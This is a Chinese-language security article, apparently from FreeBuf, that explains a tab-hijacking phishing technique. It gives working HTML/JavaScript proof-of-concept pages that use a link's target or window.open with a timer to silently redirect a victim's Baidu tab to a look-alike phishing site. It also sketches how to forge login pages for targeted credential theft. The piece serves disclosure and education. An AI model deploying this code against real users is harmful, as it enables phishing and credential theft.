前端黑魔法之遠程控制地址欄
*
本文原創作者:phithon,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載由於今天看到一篇文章《危險的 target=」_blank」 與 「opener」》,裡面提到了一個老知識點,就是target=」_blank」的時候,新打開的頁面可以通過window.opener來控制源頁面的URL,進行釣魚攻擊。這個攻擊手法我在博客《神奇的opener對象》中也說過,這裡就不再贅述了。這篇文章拋出另一種與target有關的釣魚攻擊。
0x01 效果演示
首先可以看一個小例子:http://675ba661.2m1.pw/41593a
(點擊查看大圖)
見上圖,打開上述鏈接,然後點擊「click me」,打開了百度。這時查看地址欄,的的確確是百度,然後我們等待10秒,再次查看地址欄,這個時候已經變成攻擊者的網址了;即使此時我們再訪問淘寶等頁面,只要仍然在這個標籤頁下,地址欄就仍然會被控制。
0x02 原理說明
上述頁面的代碼也很簡單:
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu" onclick="return start()">click me</a>
<script>
function start() {
setInterval(function() {
baidu.href="http://675ba661.2m1.pw/baidu";
baidu.click();
}, 10000);
}
</script>
</body>
</html>
如果用戶點擊了超鏈接「click me」,這裡會啟動一個循環定時器,每過10秒鐘,將會將超鏈接的地址更換成一個仿百度的釣魚網站,並再次點擊。(當然,如果是真實攻擊的話,最好是做一個真實目標的反代伺服器,這個在我另一篇文章《openresty+lua在反向代理服務中的玩法》中也有詳細的介紹)
這裡,超鏈接的target屬性指定目標URL在哪個頁面下打開,就是目標頁面的window.name。如果這個a標籤的href發生了變化,再次點擊鏈接,頁面仍然會在相同的標籤頁下打開,所以就覆蓋了上一次打開的頁面。
比如,我們是一個「網址導航」類型的惡意網站,用戶在我們網站上打開了百度、淘寶等標籤頁面,我們將可以根據用戶打開的超鏈接來生成釣魚頁面,偽造這些網站的登錄頁面,精準地進行釣魚。我這裡就不進行演示了。
0x03 擴展嘗試
除了超鏈接以外,用window.open也可以達到一樣的效果:
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="javascript:;" onclick="return start()">click me</a>
<script>
function start() {
var w = window.open("https://www.baidu.com", "baidu");
setInterval(function() {
w.location = "http://675ba661.2m1.pw/baidu"
}, 5000)
}
</script>
</body>
</html>
不過,window.open經常會被廣告攔截相關的功能給阻止掉,所以可能效果不如直接用超鏈接。
那麼,繼續深入研究。這個現象究竟是否和window.name有關呢?那麼是不是我們知道了某個頁面的name,即可對其頁面的URL進行控制?
我們可以做一個實驗。
編寫A頁面( http://a.675ba661.2m1.pw/A_victim ):
<html>
<head><meta charset="utf-8"></head>
<body>
<p>Hello world.</p>
<script>
window.name = "baidu";
</script>
</body>
</html>
編寫B頁面( http://b.675ba661.2m1.pw/B_attacker ):
<html>
<head><meta charset="utf-8"></head>
<body>
<a href="https://www.baidu.com" target="baidu" id="baidu">click me</a>
</body>
</html>
A頁面是目標網站,其中設置自己的name是baidu;B是攻擊者的頁面,其中設置target="baidu"
。
顯然,我們在B中點擊「click me」以後,會打開一個新的頁面,而不是修改A頁面的URL。這個實驗說明,URL的遠程控制和window.name沒有直接關係,而是和頁面的父子關係有關。
0x04 總結
本文所描述的攻擊方式和opener的攻擊方式比較相似,都是在不能跨域的情況下,控制目標標籤頁的URL,進而進行釣魚攻擊。
但我覺得這個攻擊持久型更佳,因為即使用戶在新標籤中輸入自己的域名,或者又通過超鏈接點擊到其他網站里,這個頁面的地址欄永遠是受到源頁面的控制的。理論上在源頁面不關閉的情況下,可以永久控制新頁面的地址欄。
*本文原創作者:phithon,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※Python工具分析風險數據
※晶元漏洞後續:蘋果發布Spectre漏洞修復補丁;微軟KB4056892補丁造成系統和應用程序崩潰;英特爾惹上官司
TAG:FreeBuf |